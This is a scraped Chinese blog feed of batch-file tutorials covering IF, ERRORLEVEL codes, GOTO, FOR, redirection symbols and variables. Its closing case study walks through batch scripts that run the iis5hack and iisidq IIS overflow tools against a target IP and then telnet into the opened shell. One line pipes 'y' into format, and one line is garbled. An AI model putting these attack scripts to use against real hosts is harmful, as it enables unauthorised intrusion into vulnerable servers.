            IF "%2" == "B" ECHO TIAN <br />
            IF "%3" == "C" ECHO XIN <br />
            <br />
            如果运行： <br />
            C:\&gt;TEST3 A B C <br />
            屏幕上会显示: <br />
            XIAO <br />
            TIAN <br />
            XIN <br />
            <br />
            如果运行： <br />
            C:\&gt;TEST3 A B <br />
            屏幕上会显示 <br />
            XIAO <br />
            TIAN <br />
            <br />
            在这个命令执行过程中，DOS会将一个空字符串指定给参数%3。 <br />
            <br />
            2、IF-ERRORLEVEL <br />
            <br />
            建立TEST4.BAT，内容如下： <br />
            @ECHO OFF <br />
            XCOPY C:\AUTOEXEC.BAT D:\ <br />
            IF ERRORLEVEL 1 ECHO 文件拷贝失败 <br />
            IF ERRORLEVEL 0 ECHO 成功拷贝文件 <br />
            <br />
            然后执行文件: <br />
            C:\&gt;TEST4 <br />
            <br />
            如果文件拷贝成功，屏幕就会显示"成功拷贝文件"，否则就会显示"文件拷贝失败"。 <br />
            <br />
            IF ERRORLEVEL 是用来测试它的上一个DOS命令的返回值的，注意只是上一个命令的返回值，而且返回值必须依照从大到小次序顺序判断。 <br />
            因此下面的批处理文件是错误的： <br />
            <br />
            @ECHO OFF <br />
            XCOPY C:\AUTOEXEC.BAT D:\ <br />
            IF ERRORLEVEL 0 ECHO 成功拷贝文件 <br />
            IF ERRORLEVEL 1 ECHO 未找到拷贝文件 <br />
            IF ERRORLEVEL 2 ECHO 用户通过ctrl-c中止拷贝操作 <br />
            IF ERRORLEVEL 3 ECHO 预置错误阻止文件拷贝操作 <br />
            IF ERRORLEVEL 4 ECHO 拷贝过程中写盘错误 <br />
            <br />
            无论拷贝是否成功，后面的： <br />
            <br />
            未找到拷贝文件 <br />
            用户通过ctrl-c中止拷贝操作 <br />
            预置错误阻止文件拷贝操作 <br />
            拷贝过程中写盘错误 <br />
            <br />
            都将显示出来。 <br />
            <br />
            以下就是几个常用命令的返回值及其代表的意义： <br />
            <br />
            backup <br />
            0 备份成功 <br />
            1 未找到备份文件 <br />
            2 文件共享冲突阻止备份完成 <br />
            3 用户用ctrl-c中止备份 <br />
            4 由于致命的错误使备份操作中止 <br />
            <br />
            diskcomp <br />
            0 盘比较相同 <br />
            1 盘比较不同 <br />
            2 用户通过ctrl-c中止比较操作 <br />
            3 由于致命的错误使比较操作中止 <br />
            4 预置错误中止比较 <br />
            <br />
            diskcopy <br />
            0 盘拷贝操作成功 <br />
            1 非致命盘读/写错 <br />
            2 用户通过ctrl-c结束拷贝操作 <br />
            3 因致命的处理错误使盘拷贝中止 <br />
            4 预置错误阻止拷贝操作 <br />
            <br />
            format <br />
            0 格式化成功 <br />
            3 用户通过ctrl-c中止格式化处理 <br />
            4 因致命的处理错误使格式化中止 <br />
            5 在提示"proceed with format（y/n）?"下用户键入n结束 <br />
            <br />
            xcopy <br />
            0 成功拷贝文件 <br />
            1 未找到拷贝文件 <br />
            2 用户通过ctrl-c中止拷贝操作 <br />
            4 预置错误阻止文件拷贝操作 <br />
            5 拷贝过程中写盘错误 <br />
            <br />
            chkdsk <br />
            0 未找到错误 <br />
            255 找到一个或多个错误 <br />
            <br />
            choice <br />
            0 用户按下ctrl+c/break <br />
            1 用户按下第一个键 <br />
            255 检测到命令行中的错误条件 <br />
            其它 用户按下的有效字符在列表中的位置 <br />
            <br />
            defrag <br />
            0 碎片压缩成功 <br />
            1 出现内部错误 <br />
            2 磁盘上没有空簇。要运行DEFRAG，至少要有一个空簇 <br />
            3 用户用Ctrl+C退出了DEFRAG <br />
            4 出现一般性错误 <br />
            5 DEFRAG在读簇时遇到错误 <br />
            6 DEFRAG在写簇时遇到错误 <br />
            7 分配空间有错 <br />
            8 内存错 <br />
            9 没有足够空间来压缩磁盘碎片 <br />
            <br />
            deltree <br />
            0 成功地删除一个目录 <br />
            <br />
            diskcomp <br />
            0 两盘相同 <br />
            1 发现不同 <br />
            2 按CTRL+C 终止了比较 <br />
            3 出现严重错误 <br />
            4 出现初始化错误 <br />
            <br />
            find <br />
            0 查找成功且至少找到了一个匹配的字符串 <br />
            1 查找成功但没找到匹配的字符串 <br />
            2 查找中出现了错误 <br />
            <br />
            keyb <br />
            0 键盘定义文件装入成功 <br />
            1 使用了非法的键盘代码，字符集或语法 <br />
            2 键盘定义文件坏或未找到 <br />
            4 键盘、监视器通讯时出错 <br />
            5 要求的字符集未准备好 <br />
            <br />
            move <br />
            0 成功地移动了指定的文件 <br />
            1 发生了错误 <br />
            <br />
            msav /N <br />
            86 检查到了病毒 <br />
            <br />
            replace <br />
            0 REPLACE成功地替换或加入了文件 <br />
            1 MS-DOS版本和REPLACE不兼容 <br />
            2 REPLACE找不到源文件 <br />
            3 REPLACE找不到源路径或目标路径 <br />
            5 不能存取要替换的文件 <br />
            8 内存不够无法执行REPLACE <br />
            11 命令行句法错误 <br />
            <br />
            restore <br />
            0 RESTORE成功地恢复了文件 <br />
            1 RESTORE找不到要恢复的文件 <br />
            3 用户按CTRL+C终止恢复过程 <br />
            4 RESTORE因错误而终止 <br />
            <br />
            scandisk <br />
            0 ScanDisk在它检查的驱动器上未检测到任何错误 <br />
            1 由于命令行的语法不对，不能运行ScanDisk <br />
            2 由于内存用尽或发生内部错误，ScanDisk意外终止 <br />
            3 用户让ScanDisk中途退出 <br />
            4 进行盘面扫描时，用户决定提前退出 <br />
            254 ScanDisk找到磁盘故障并已全部校正 <br />
            255 ScanDisk找到磁盘故障，但未能全部校正 <br />
            <br />
            setver <br />
            0 SETVER成功地完成了任务 <br />
            1 用户指定了一个无效的命令开关 <br />
            2 用户指定了一个非法的文件名 <br />
            3 没有足够的系统内存来运行命令 <br />
            4 用户指定了一个非法的版本号格式 <br />
            5 SETVER在版本表中未找到指定的项 <br />
            6 SETVER未找到SETVER.EXE文件 <br />
            7 用户指定了一个非法的驱动器 <br />
            8 用户指定了太多的命令行参数 <br />
            9 SETVER检测到丢失了命令行参数 <br />
            10 在读SETVER.EXE文件时，SETVER检测到发生错误 <br />
            11 SETVER.EXE文件损坏 <br />
            12 指定的SETVER.EXE文件不支持版本表 <br />
            13 版本表中没有足够的空间存放新的项 <br />
            14 在写SETVER.EXE文件时SETVER检测到发生错误 <br />
            ======================================================================== <br />
            <br />
            3、IF STRING1 == STRING2 <br />
            <br />
            建立TEST5.BAT，文件内容如下： <br />
            @echo off <br />
            IF "%1" == "A" FORMAT A: <br />
            <br />
            执行： <br />
            C:\&gt;TEST5 A <br />
            屏幕上就出现是否将A:盘格式化的内容。 <br />
            <br />
            注意：为了防止参数为空的情况，一般会将字符串用双引号（或者其它符号，注意不能使用保留符号）括起来。 <br />
            如：if [%1]==[A] 或者 if %1*==A* <br />
            <br />
            5、GOTO <br />
            <br />
            建立TEST6.BAT，文件内容如下： <br />
            @ECHO OFF <br />
            IF EXIST C:\AUTOEXEC.BAT GOTO _COPY <br />
            GOTO _DONE <br />
            :_COPY <br />
            COPY C:\AUTOEXEC.BAT D:\ <br />
            :_DONE <br />
            <br />
            注意： <br />
            (1) 标号前是ASCII字符的冒号":"，冒号与标号之间不能有空格。 <br />
            (2) 标号的命名规则与文件名的命名规则相同。 <br />
            (3) DOS支持最长八位字符的标号，当无法区别两个标号时，将跳转至最近的一个标号。 <br />
            <br />
            ==== willsort 编注 ===================================================== <br />
            1)标号也称作标签(label) <br />
            2)标签不能以大多数的非字母数字字符开始, 而文件名中则可以使用很多 <br />
            3)当无法区别两个标签时, 将跳转至位置最靠前的标签 <br />
            ======================================================================== <br />
            <br />
            6、FOR <br />
            <br />
            建立C:\TEST7.BAT，文件内容如下： <br />
            @ECHO OFF <br />
            FOR %%C IN (*.BAT *.TXT *.SYS) DO TYPE %%C <br />
            <br />
            运行： <br />
            C:\&gt;TEST7 <br />
            <br />
            执行以后，屏幕上会将C:盘根目录下所有以BAT、TXT、SYS为扩展名的文件内容显示出来（不包括隐藏文件）。 </div>
            </div>
            </td>
        </tr>
    </tbody>
</table>
<img src ="http://www.blogjava.net/ThinkingTalking/aggbug/156511.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/ThinkingTalking/" target="_blank">ThinkingTalking</a> 2007-10-28 18:55 <a href="http://www.blogjava.net/ThinkingTalking/archive/2007/10/28/156511.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>批处理文件(转)</title><link>http://www.blogjava.net/ThinkingTalking/archive/2007/10/28/156509.html</link><dc:creator>ThinkingTalking</dc:creator><author>ThinkingTalking</author><pubDate>Sun, 28 Oct 2007 10:54:00 GMT</pubDate><guid>http://www.blogjava.net/ThinkingTalking/archive/2007/10/28/156509.html</guid><wfw:comment>http://www.blogjava.net/ThinkingTalking/comments/156509.html</wfw:comment><comments>http://www.blogjava.net/ThinkingTalking/archive/2007/10/28/156509.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/ThinkingTalking/comments/commentRss/156509.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/ThinkingTalking/services/trackbacks/156509.html</trackback:ping><description><![CDATA[批处理文件是将一系列命令按一定的顺序集合为一个可执行的文本文件，其扩展名为BAT。 <br />
1、 REM <br />
REM 是个注释命令一般是用来给程序加上注解的，该命令后的内容在程序执行的时候将不会被显示和执行。例： <br />
REM 你现在看到的就是注解，这一句将不会被执行。在以后的例子中解释的内容都REM 会放在REM后面。请大家注意。 <br />
<br />
2、 ECHO <br />
ECHO 是一个回显命令主要参数有OFF和 ON,一般用ECHO message来显示一个特定的消息 。例： <br />
Echo off <br />
Rem 以上代表关闭回显即不显示所执行的命令 <br />
Echo 这个就是消息。 <br />
Rem 以上代表显示&#8220;这就是消息&#8221;这列字符 <br />
执行结果： <br />
C:\&gt;ECHO.BAT <br />
这个就是消息。 <br />
<br />
3、 GOTO <br />
GOTO 即为跳转的意思。在批处理中允许以&#8220;：XXX&#8221;来构建一个标号然后用GOTO ：标号直接来执行标号后的命令。例 <br />
:LABEL <br />
REM 上面就是名为LABEL的标号。 <br />
DIR C:\ <br />
DIR D:\ <br />
GOTO LABEL <br />
REM 以上程序跳转标号LABEL处继续执行。 <br />
<br />
4、CALL <br />
CALL 命令可以在批处理执行过程中调用另一个批处理，当另一个批处理执行完后再继续执行原来的批处理。例： <br />
批处理2.BAT内容如下： <br />
ECHO 这就是2的内容 <br />
批处理1.BAT内容如下： <br />
ECHO 这是1的内容 <br />
CALL 2.BAT <br />
ECHO 1和2的内容全部显示完成 <br />
执行结果如下： <br />
C:\&gt;1.BAT <br />
这是1的内容 <br />
这就是2的内容 <br />
1和2的内容全部显示完成 <br />
<br />
5、PAUSE <br />
PAUSE 停止系统命令的执行并显示下面的内容。例： <br />
C:\&gt; PAUSE <br />
请按任意键继续 . . . <br />
<br />
6、 IF <br />
IF 条件判断语句，语法格式如下： <br />
IF [NOT] ERRORLEVEL number command <br />
IF [NOT] string1==string2 command <br />
IF [NOT] EXIST filename command <br />
说明： <br />
[NOT] 将返回的结果取反值即&#8220;如果没有&#8221;的意思。 <br />
ERRORLEVEL 是命令执行完成后返回的退出值 <br />
Number 退出值的数字取值范围0~255。判断时值的排列顺序应该又大到小。返回的值大于或等于指定的值时条件成立。 <br />
string1==string2 string1和string2都为字符的数据，英文字符的大小写将看做不同，这个条件中的等于号必须是2个（绝对相等），条件想等后即执行后面的 command <br />
EXIST filename 为文件或目录存在的意思。 <br />
IF ERRORLEVEL这条语句必须放在某一个命令后面。执行命令后由IF ERRORLEVEL来判断命令的返回值。 <br />
例： <br />
1、 IF [NOT] ERRORLEVEL number command <br />
检测命令执行完后的返回值做出判断。 <br />
echo off <br />
dir z: <br />
rem 如果退出代码为1（不成功）就跳至标题1处执行 <br />
IF ERRORLEVEL 1 goto 1 <br />
rem 如果退出代码为0（成功）就跳至标题0处执行 <br />
IF ERRORLEVEL 0 goto 0 <br />
:0 <br />
echo 命令执行成功！ <br />
Rem 程序执行完毕跳至标题exit处退出 <br />
goto exit <br />
:1 <br />
echo 命令执行失败！ <br />
Rem 程序执行完毕跳至标题exit处退出 <br />
goto exit <br />
:exit <br />
Rem 这里是程序的出口 <br />
2、 IF string1==string2 command <br />
检测当前变量的值做出判断 <br />
ECHO OFF <br />
IF %1==2 goto no <br />
Echo 变量相等！ <br />
Goto exit <br />
:no <br />
echo 变量不相等 <br />
goto exit <br />
:exit <br />
大家可以这样看效果 C:\&gt;test.bat 数字 <br />
<br />
3、 IF [NOT] EXIST filename command <br />
发现特定的文件做出判断 <br />
echo off <br />
IF not EXIST autoexec.bat goto 1 <br />
echo 文件存在成功！ <br />
goto exit <br />
:1 <br />
echo 文件不存在失败！ <br />
goto exit <br />
:exit <br />
这个批处理大家可以放在c盘和d盘分别执行看看效果。 <br />
7、 FOR <br />
FOR这个命令比较特殊是一个循环执行命令的命令，同时FOR的循环里面还可以套用FOR在进行循环。这篇我们介绍基本的用法就不做套用的循环了，后面再来讲解套用的循环。在批处理中FOR的命令如下： <br />
FOR [%%c] IN (set) DO [command] [arguments] <br />
在命令行中命令如下： <br />
FOR [%c] IN (set) DO [command] [arguments] <br />
常用参数： <br />
/L 该集表示以增量形式从开始到结束的一个数字序列。因此，(1,1,5) 将产生序列 1 2 3 4 5，(5,-1,1) 将产生序列 (5 4 3 2 1)。 <br />
/D 如果集中包含通配符，则指定与目录名匹配，而不与文件名匹配。 <br />
<br />
/F 从指定的文件中读取数据作为变量 <br />
eol=c - 指一个行注释字符的结尾(就一个) <br />
skip=n - 指在文件开始时忽略的行数。 <br />
delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。 <br />
tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代的 for 本身。这会导致额外变量名称的分配。m-n格式为一个范围。通过 nth 符号指定 mth。如果符号字符串中的最后一个字符星号，那么额外的变量将在最后一个符号解析之后分配并接受行的保留文本。 <br />
usebackq - 指定新语法已在下类情况中使用:在作为命令执行一个后引号的字符串并且一个单引号字符为文字字符串命令并允许在 filenameset中使用双引号扩起文件名称。 <br />
下面来看一个例子： <br />
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do @echo %i %j %k <br />
会分析 myfile.txt 中的每一行，忽略以分号打头的那些行，将每行中的第二个和第三个符号传递给 for 程序体；用逗号和/或空格定界符号。请注意，这个 for 程序体的语句引用 %i 来取得第二个符号，引用 %j 来取得第三个符号，引用 %k来取得第三个符号后的所有剩余符号。对于带有空格的文件名，您需要用双引号将文件名括起来。为了用这种方式来使用双引号，您还需要使用 usebackq 选项，否则，双引号会被理解成是用作定义某个要分析的字符串的。 <br />
%i 专门在 for 语句中得到说明，%j 和 %k 是通过tokens= 选项专门得到说明的。您可以通过 tokens= 一行指定最多 26 个符号，只要不试图说明一个高于字母 'z' 或'Z' 的变量。请记住，FOR 变量名分大小写，是通用的；而且，同时不能有 52 个以上都在使用中。 <br />
您还可以在相邻字符串上使用 FOR /F 分析逻辑；方法是，用单引号将括号之间的 filenameset 括起来。这样，该字符串会被当作一个文件中的一个单一输入行。最后，您可以用 FOR /F 命令来分析命令的输出。方法是，将括号之间的 filenameset 变成一个反括字符串。该字符串会被当作命令行，传递到一个子 CMD.EXE，其输出会被抓进内存，并被当作文件分析。因此，以下例子: <br />
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i <br />
会枚举当前环境中的环境变量名称。 <br />
以下列举一个简单的例子，他将说明参数/L和没有参数的区别： <br />
删除文件1.TXT 2.TXT 3.TXT 4.TXT 5.TXT <br />
例： <br />
ECHO OFF <br />
FOR /L %%F IN (1,1,5) DO DEL %%F.TXT <br />
或 <br />
FOR %%F IN (1,2,3,4,5) DO DEL %%F.TXT <br />
以上2条命令执行的结果都是一样的如下： <br />
C:\&gt;DEL 1.TXT <br />
C:\&gt;DEL 2.TXT <br />
C:\&gt;DEL 3.TXT <br />
C:\&gt;DEL 4.TXT <br />
C:\&gt;DEL 5.TXT <br />
<br />
8、 SETLOCAL <br />
开始批处理文件中环境改动的本地化操作。在执行 SETLOCAL 之后 <br />
所做的环境改动只限于批处理文件。要还原原先的设置，必须执 <br />
行 ENDLOCAL。 达到批处理文件结尾时，对于该批处理文件的每个 <br />
尚未执行的 SETLOCAL 命令，都会有一个隐含的 ENDLOCAL 被 <br />
执行。例： <br />
@ECHO OFF <br />
SET PATH /*察看环境变量PATH <br />
PAUSE <br />
SETLOCAL <br />
SET PATH=E:\TOOLS /*重新设置环境变量PATH <br />
SET PATH <br />
PAUSE <br />
ENDLOCAL <br />
SET PATH <br />
从上例我们可以看到环境变量PATH第1次被显示得时候是系统默认路径。被设置成了E:\TOOLS后显示为E:\TOOLS但当ENDLOCAL后我们可以看到他又被还原成了系统的默认路径。但这个设置只在该批处理运行的时候有作用。当批处理运行完成后环境变量PATH将会还原。 <br />
<br />
9、 SHIFT <br />
SHIFT命令可以让在命令上的的命令使用超过10个（%0~%9）以上的可替代参数例： <br />
ECHO OFF <br />
ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9 <br />
SHIFT <br />
ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9 <br />
SHIFT <br />
ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9 <br />
执行结果如下： <br />
C::\&gt;SHIFT.BAT 1 2 3 4 5 6 7 8 9 10 11 <br />
1 2 3 4 5 6 7 8 9 <br />
2 3 4 5 6 7 8 9 10 <br />
3 4 5 6 7 8 9 10 11 <br />
以上就是基于WIN2000下的9个批处理命令。 <br />
<br />
第二部分：特殊的符号与批处理 <br />
<br />
在命令行下有些符号是不允许使用的但有些符号却有着特殊的意义。 <br />
1、 符号(@) <br />
@在批处理中的意思是关闭当前行的回显。我们从上面知道用命令echo off可以关掉整个批处理的命令回显但却不能不显示echo off这个命令。现在我们在这个命令前加上@这样echo off这一命令就被@关闭了回显从而达到所有命令均不回显得要求 <br />
2、 符号(&gt;) <br />
&gt;的意思是传递并覆盖。他所起的作用是将运行后的回显结果传递到后面的范围（后面可是文件也可是默认的系统控制台）例： <br />
文件1.txt的文件内容为： <br />
1+1 <br />
使用命令c:\&gt;dir *.txt &gt;1.txt <br />
这时候1.txt的内容如下 <br />
驱动器 C 中的卷没有标签。 <br />
卷的序列号是 301A-1508 <br />
C:\ 的目录 <br />
2003-03-11 14:04 1,005 FRUNLOG.TXT <br />
2003-04-04 16:38 18,598,494 log.txt <br />
2003-04-04 17:02 5 1.txt <br />
2003-03-12 11:43 0 aierrorlog.txt <br />
2003-03-30 00:35 30,571 202.108.txt <br />
5 个文件 18,630,070 字节 <br />
0 个目录 1,191,542,784 可用字节 <br />
&gt;将命令执行的结哺橇嗽嫉奈募谌荨? <br />
在传递给控制台的时候程序将不会有任何回显（注意：这里的回显跟echo off关掉的回显不是同一概念。Echo off关掉的是输入命令的回显，这里的回显是程序执行中或后的回显）例： <br />
C:\&gt;dir *.txt &gt;nul <br />
程序将没有任何显示也不会产生任何痕迹。 <br />
3、 符号(&gt;&gt;) <br />
符号&gt;&gt;的作用与符号&gt;相似，但他们的区别在于&gt;&gt;是传递并在文件末尾追加&gt;&gt;也可将回显传递给控制台（用法同上）例： <br />
文件1.txt内同为： <br />
1+1 <br />
使用命令c:\&gt;dir *.txt &gt;&gt;1.txt <br />
这时候1.txt的内容如下 <br />
1+1 <br />
驱动器 C 中的卷没有标签。 <br />
卷的序列号是 301A-1508 <br />
C:\ 的目录 <br />
2003-03-11 14:04 1,005 FRUNLOG.TXT <br />
2003-04-04 16:38 18,598,494 log.txt <br />
2003-04-04 17:02 5 1.txt <br />
2003-03-12 11:43 0 aierrorlog.txt <br />
2003-03-30 00:35 30,571 202.108.txt <br />
5 个文件 18,630,070 字节 <br />
0 个目录 1,191,542,784 可用字节 <br />
&gt;&gt;将命令执行的结果覆加在了原始的文件内容后面。 <br />
4、 符号(|) <br />
|是一个管道传输命令意思是将上一命令执行的结果传递给下一命令去处理。例： <br />
C:\&gt;dir c:\|find "1508" <br />
卷的序列号是 301A-1508 <br />
以上命令的意思为查找c:\的所有并发现1508字符串。Find的用法请用 find /?自行查看 <br />
在不使用format的自动格式化参数的时候我是这样来自动格式化盘片的 <br />
echo y|fornat a: /s /q /v:system <br />
用过format命令的人都知道format有一个交互对化过程，要使用者输入y来确定当前的命令是否被执行。在这个命令前加上echo y并用管道传输符|将echo执行的结果y传递给format从而达到手工输入y的目的（这条命令有危害性，测试的时候请谨慎） <br />
5、 符号(^) <br />
^ 是对特殊符号 &gt; 、&lt;、 &amp;、的前导字符。在命令中他将以上的3个符号的特殊动能去掉仅仅只吧他们当成符号而不使用他们的特殊意义。例： <br />
c:\&gt;echo test ^&gt; 1.txt <br />
test &gt; 1.txt <br />
从上面可以看出并没有把test写入文件1.txt而是将test &gt;1.txt 当字符串显示了出来。这个符号在远程构建批处理的时候很有效果。 <br />
6、 符号(&amp;) <br />
&amp;符号允许在一行中使用2个以上不同的命令，当第一个命令执行失败将不影响第2个命令的执行。例： <br />
c:\&gt; dir z:\ &amp;dir y:\ &amp;dir c:\ <br />
以上的命令将会连续显示z: y: c:盘内的内容不理会该盘符是否存在。 <br />
7、 符号(&amp;&amp;) <br />
&amp;&amp;符号也是允许在一行中使用2个以上不同的命令，当第一个命令执行失败后后续的命令将不会再被执行。例： <br />
c:\&gt; dir z:\ &amp;&amp;dir y:\ &amp;&amp;dir c:\ <br />
以上的命令将会提示检查是否存在z:盘如果存在则执行，如果不存在则停止执行所有的后续命令 <br />
8、 符号(" ") <br />
" "符号允许在字符串中包含空格。进入一个特殊的目录可以用如下方法例: <br />
c:\&gt;cd &#8220;Program Files&#8221; <br />
c:\&gt;cd progra~1 <br />
c:\&gt;cd pro* <br />
以上方法都可以进入Program Files目录 <br />
9、 符号（,） <br />
,符号相当于空格。在某些特殊的情况下可以用,来代替空格使用。例： <br />
c:\&gt;dir,c:\ <br />
10、 符号(;) <br />
;符号当命令相同的时候可以将不同的目标用;隔离开来但执行效果不变。如执行过程中发生错误则只返回错误报告但程序还是会继续执行。例： <br />
DIR C:\;D:\;E:\F:\ <br />
以上的命令相当于 <br />
DIR C:\ <br />
DIR D:\ <br />
DIR E:\ <br />
DIR F:\ <br />
当然还有些特殊的符号但他们的使用范围很小我就不再这里一一的说明了。 <br />
<br />
第三部分：批处理与变量 <br />
<br />
在批处理中适当的引用变量将会使你所编制的程序应用面更广。批处理每次能处理的变量从%0~%9共10个。其中%0默认给批处理的文件名使用。除非在使用SHIFT命令后%0才能被%1所替代。引用shift命令的例子如果把%1前面多加上一个%0那么结果如下： <br />
C::\&gt;SHIFT.BAT 1 2 3 4 5 6 7 8 9 10 11 <br />
SHIFT.BAT 1 2 3 4 5 6 7 8 9 <br />
1 2 3 4 5 6 7 8 9 10 <br />
2 3 4 5 6 7 8 9 10 11 <br />
系统是如何区分每个变量的呢，系统区分变量的规则为字符串中间的空格，即只要发现空格就把空格前面的字符当作一个变量而空格后面的字符则作为另一个变量。如果你的变量是一个当中包含空格的长目录名这时候你需要用上一节特殊符号8中所用的引号将他圈起来。例： <br />
批处理内容为： <br />
ECHO %1 <br />
ECHO %2 <br />
ECHO %3 <br />
输入命令： <br />
C:\&gt;TEST &#8220;Program Files&#8221; Program Files <br />
Program Files <br />
Program <br />
Files <br />
在一个复杂的批处理中又可能同时使用的变量会超过10个这时候会和系统的规则想冲突那么这个问题怎么解决呢？在系统中还有一种变量称之为环境变量（使用SET命令可以查看当前系统的环境变量）如当前系统目录是%windir%或%SystemRoot%等。当同时使用的参数超过10个的时候，我们可以把某些在后面的程序中还要调用的变量保存为环境变量。具体用法如 SET A=%1 这样我们就命名了一个新的环境变量A 在调用变量A的时候要%A%这样调用，环境变量不受SHIFT命令影响。如果要改变一个环境变量需要重新对其设置才能改变。当然也可以进行变量与变量之间的传递来达到目的。下面我们来看一个例子，批处理如下： <br />
ECHO OFF <br />
SET PASS=%1 <br />
SHIFT <br />
SET PASS1=%1 <br />
SHIFT <br />
ECHO %PASS% %PASS1% %1 %2 %3 %4 %5 %6 %7 %8 %9 <br />
SHIFT <br />
ECHO %PASS% %PASS1% %9 <br />
SET PASS=%PASS1% 变量的传递 <br />
SET PASS1=%9 <br />
SHIFT <br />
ECHO %PASS% %PASS1% %9 <br />
使用命令：C:\&gt;TEST A B 3 4 5 6 7 8 9 10 K L <br />
A B 3 4 5 6 7 8 9 10 K 注意：这一行显示了11个变量 <br />
A B L 在使用了3次SHIFT之后%9变成了L <br />
B L 变量的传递后的结果 <br />
<br />
<br />
第四部分：完整案例 <br />
<br />
以上就是批处理的一些用法。现在我们把这些用法结合起来详细的分析一下目前网上发布的一些批处理，看看他们是怎么运作的。这里我将列举三个例子来详细分析，为了保持程序的完整我的注释会加在/*后面。 <br />
例一 <br />
这个例子是利用iis5hack.exe对有.printer漏洞的主机进行溢出的批处理。用到的程序有iis5hack.exe和系统自带的telnet.exe。iis5hack的命令格式为： <br />
iis5hack &lt;目标ip&gt; &lt;目标端口&gt; &lt;目标版本&gt; &lt;溢出连接端口&gt;目标版本为0-9这10个数字分别对应不同语言版本和sp的系统版本，我们编制的批处理使用的命令格式为 &lt;iis.bat 目标ip （开始版本号）&gt;开始版本号可有可无。程序如下。 <br />
@echo off /*关闭命令回显 <br />
if "%1%"=="" goto help /*判断%1是否为空，%1为目标ip <br />
if "%2%"=="1" goto 1 /*判断%2是否为1，为1则跳转标志1 <br />
if "%2%"=="2" goto 2 /*%2为开始版本号，如果没有设置则 <br />
if "%2%"=="3" goto 3 /*如果存在则从匹配的地方开始执行 <br />
if "%2%"=="4" goto 4 <br />
if "%2%"=="5" goto 5 <br />
if "%2%"=="6" goto 6 <br />
if "%2%"=="7" goto 7 <br />
if "%2%"=="8" goto 8 <br />
if not EXIST iis5hack.exe goto file /*没有发现iis5hack.exe就执行标志file段内容 <br />
ping %1 -n 1 | find "Received = 1" /*ping目标1次，从结果中发现Received = 1 <br />
if errorlevel 1 goto error /*如果返回代码为1则执行error段(代码1为没有发现 0为发现并成功执行) <br />
iis5hack %1 80 9 88 | find "good" /*开始溢出目标端口80 系统代码9 溢出后连接端口88 在执行结果中发现字符串&#8221;good&#8221;(溢出成功后才会有字符串good) <br />
if not errorlevel 1 goto telnet /*如果没有错误代码1（溢出成功）就执行telnet段的内容。 <br />
echo 操作系统类型 9 失败! /否则显示这一句 <br />
:8 /*以下代码内容参照上面 <br />
iis5hack %1 80 8 88 | find "good" <br />
if not errorlevel 1 goto telnet <br />
echo 操作系统类型 8 失败! <br />
:7 <br />
iis5hack %1 80 7 88 | find "good" <br />
if not errorlevel 1 goto telnet <br />
echo 操作系统类型 7 失败! <br />
:6 <br />
iis5hack %1 80 6 88 | find "good" <br />
if not errorlevel 1 goto telnet <br />
echo 操作系统类型 6 失败! <br />
:5 <br />
iis5hack %1 80 5 88 | find "good" <br />
if not errorlevel 1 goto telnet <br />
echo 操作系统类型 5 失败! <br />
:4 <br />
iis5hack %1 80 4 88 | find "good" <br />
if not errorlevel 1 goto telnet <br />
echo 操作系统类型 4 失败! <br />
:3 <br />
iis5hack %1 80 3 88 | find "good" <br />
if not errorlevel 1 goto telnet <br />
echo 操作系统类型 3 失败! <br />
:2 <br />
iis5hack %1 80 2 88 | find "good" <br />
if not errorlevel 1 goto telnet <br />
echo 操作系统类型 2 失败! <br />
:1 <br />
iis5hack %1 80 1 88 | find "good" <br />
if not errorlevel 1 goto telnet <br />
echo 操作系统类型 1 失败! <br />
:0 <br />
iis5hack %1 80 0 88 | find "good" <br />
if not errorlevel 1 goto telnet <br />
echo 操作系统类型 0 失败! <br />
goto error <br />
:telnet <br />
telnet %1 88 /*开始连接目标ip的88端口 <br />
goto exit /*连接中断后跳转exit段 <br />
:error /*error段显示错误后的帮助信息 <br />
echo 可能网络不能连接或者对方以修补该漏洞!请按照下面的格式手工尝试一次! <br />
echo iis5hack [目标IP] [WEB端口] [系统类型] [开放端口] <br />
ECHO 中文: 0 <br />
ECHO 中文+sp1: 1 <br />
ECHO 英文: 2 <br />
ECHO 英文+sp1: 3 <br />
ECHO 日语: 4 <br />
ECHO 日语+sp1: 5 <br />
ECHO 韩文: 6 <br />
ECHO 韩文+sp1: 7 <br />
ECHO 墨西哥语: 8 <br />
ECHO 墨西哥语+sp1: 9 <br />
goto exit /*跳转exit段 <br />
:file /*file段显示文件没有发现的信息 <br />
echo 文件iis5hack.exe没有发现!程序终止运行! <br />
goto exit /*跳转exit段 <br />
:help /*help段显示本批处理的使用格式帮助 <br />
echo 本程序用法如下: <br />
echo iis [目标ip] <br />
echo iis [目标ip] [开始的号码9-0] <br />
:exit /*exit段为程序出口 <br />
这个批处理基本没有什么循环只是一路走下来。所以代码比较长难度不大！ <br />
例二 <br />
这个例子是用iisidq.exe对有idq漏洞的机器进行溢出的批处理。使用的程序有iisidq.exe和系统自带的程序telnet.exe。iisidq.exe的用法如下： <br />
运行参数: 操作系统类型 目的地址 web端口 1 溢出监听端口 &lt;输入命令1&gt; <br />
其中,如果输入命令参数没有输入,那么,默认为:"cmd.exe"。 <br />
其中操作系统类型类型的代码范围是0-14。我们编制的批处理使用的命令格式为 &lt;idq.bat 目标ip&gt;程序如下： <br />
@echo off /*同例一 <br />
if not EXIST iisidq.exe goto file /*同例一 <br />
if %1 == "" goto error /*同例一 <br />
ping %1 -n 1 | find "Received = 1" /*同例一 <br />
if errorlevel 1 goto error1 /*同例一 <br />
set b=%1 /*创建一个环境变量b,将变量%1的内容传递给环境变量b。变量b的内容以后将是目标ip <br />
set a=0 /*创建一个环境变量a并指定环境变量a为0。由于使用整个批处理的循环所以用a来做计数器。 <br />
:no /*no段开始 <br />
if %a%==0 set d=0 /*如果环境变量a=0则创建环境变量d设定环境变量d=0。 <br />
if %a%==1 set d=1 /*环境变量d其实是操作系统类型代码，用计数器来控制其 <br />
